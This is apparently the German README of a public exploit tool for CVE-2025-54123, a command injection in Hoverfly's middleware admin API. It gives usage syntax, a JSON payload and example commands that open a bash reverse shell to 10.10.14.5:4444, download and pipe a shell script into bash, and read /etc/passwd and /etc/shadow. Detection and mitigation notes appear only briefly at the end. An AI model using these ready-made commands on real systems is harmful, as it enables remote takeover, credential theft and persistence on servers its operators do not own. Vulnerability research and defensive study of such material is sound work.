CVE-2025-54123 Exploit

Hoverfly Authenticated Middleware Command Injection RCE | CVSS 9.8 KRITISCH

Schwachstelle

Hoverfly <= 1.11.3 ist anfällig für authentifizierte Befehlseinschleusung über den /api/v2/hoverfly/middleware-Endpunkt. Administrator-Anmeldedaten sind erforderlich, aber nach der Authentifizierung akzeptiert die Middleware-Funktionalität vom Benutzer bereitgestellte Binär- und Skriptwerte ohne Validierung, was die Ausführung beliebiger Befehle ermöglicht.

Angriffskette

1. Unzureichende Eingabevalidierung – middleware.go akzeptiert beliebige Binärpfade
2. Unsicherer Befehlsausführung – local_middleware.go übergibt Benutzereingaben direkt an exec.Command()
3. Sofortige Ausführung – hoverfly_service.go führt die Middleware während der Validierung aus

Voraussetzungen

• Gültige Hoverfly-Administrator-Anmeldedaten (Benutzername/Passwort)
• Zugriff auf die Hoverfly-Admin-API (Standard-Port 8888)

Verwendung

python3 exploit.py -t <ZIEL_URL> -u <BENUTZERNAME> -p <PASSWORT> -c <BEFEHL> [--shell SHELL]

• -t, --target – Hoverfly-API-Endpunkt (erforderlich)
• -u, --username – Administrator-Benutzername (erforderlich)
• -p, --password – Administrator-Passwort (erforderlich)
• -c, --command – Auszuführender Befehl (erforderlich)
• --shell – Zu verwendende Shell-Binärdatei (Standard: /bin/bash)

Beispiele

# Grundlegende Befehlsausführung
python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami

# Sensitive Dateien lesen
python3 exploit.py -t http://10.10.11.100:8888 -u admin -p pass123 -c "cat /etc/passwd"

# Reverse Shell
python3 exploit.py -t http://target:8888 -u user -p secret -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"

# Mehrfachbefehlsausführung
python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "id; uname -a; pwd"

# Andere Shell verwenden
python3 exploit.py -t http://victim:8888 -u root -p toor -c "cat /etc/shadow" --shell /bin/sh

# Payload herunterladen und ausführen
python3 exploit.py -t http://target:8888 -u admin -p pass -c "curl http://10.10.14.5/shell.sh | bash"

Angriffsablauf

1. Angreifer authentifiziert sich mit gültigen Administrator-Anmeldedaten (Basic Auth)
2. Sendet PUT-Anfrage an /api/v2/hoverfly/middleware mit bösartigem Payload
3. Hoverfly schreibt Skript in temporäre Datei /tmp/hoverfly_<zufall>
4. Während der Validierung wird ausgeführt: <shell> /tmp/hoverfly_<zufall>
5. Befehlsausgabe wird im Fehlerantwort-STDOUT-Abschnitt zurückgegeben
6. Exploit extrahiert und zeigt die Ausgabe an

Payload-Struktur

{
    "binary": "/bin/bash",
    "script": "whoami"
}

HTTP-Header enthalten:

Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/json

Auswirkungen

• Vollständige Remote-Codeausführung mit den Rechten des Hoverfly-Prozesses
• Credential-Diebstahl – API-Schlüssel, Token, Geheimnisse stehlen
• Internes Netzwerk-Pivoting – benachbarte Systeme kompromittieren
• Datengefährdung – Zugriff auf Simulationsdaten, Konfigurationen
• Persistenz – Hintertüren installieren, Zugang aufrechterhalten
• Dienstunterbrechung – Middleware-Konfigurationen ändern/löschen

Anfällige Code-Stellen

• core/middleware/middleware.go:94-96 – Keine Eingabevalidierung für binären Parameter
• core/middleware/local_middleware.go:14-19 – Unsichere Verwendung von exec.Command()
• core/hoverfly_service.go:173 – Sofortige Ausführung während der Validierung

Betroffene Versionen

• Hoverfly <= 1.11.3
• Alle Installationen mit zugänglicher Admin-API und aktivierter Authentifizierung

Erkennung

Achten Sie auf:

• PUT-Anfragen an /api/v2/hoverfly/middleware
• Fehlerantworten mit "STDOUT:" und Befehlsausgabe
• Temporäre Dateien in /tmp/hoverfly/
• Ungewöhnliche Prozessausführungen durch den Hoverfly-Dienst

Abhilfe

• Auf gepatchte Version aktualisieren (falls verfügbar)
• Admin-API-Zugriff auf vertrauenswürdige IPs beschränken
• Starke Authentifizierungs-Anmeldedaten verwenden
• Zugriff auf den /api/v2/hoverfly/middleware-Endpunkt überwachen
• Eingabevalidierung für Binär-/Skriptparameter implementieren

Referenzen

• CVE-2025-54123
• CWE-78 (OS Command Injection)
• CWE-20 (Improper Input Validation)
• GHSA-r4h8-hfp2-ggmf
• https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf
• https://nvd.nist.gov/vuln/detail/CVE-2025-54123

Danksagungen

Ursprüngliche Entdeckung: @Kr1shna4garwal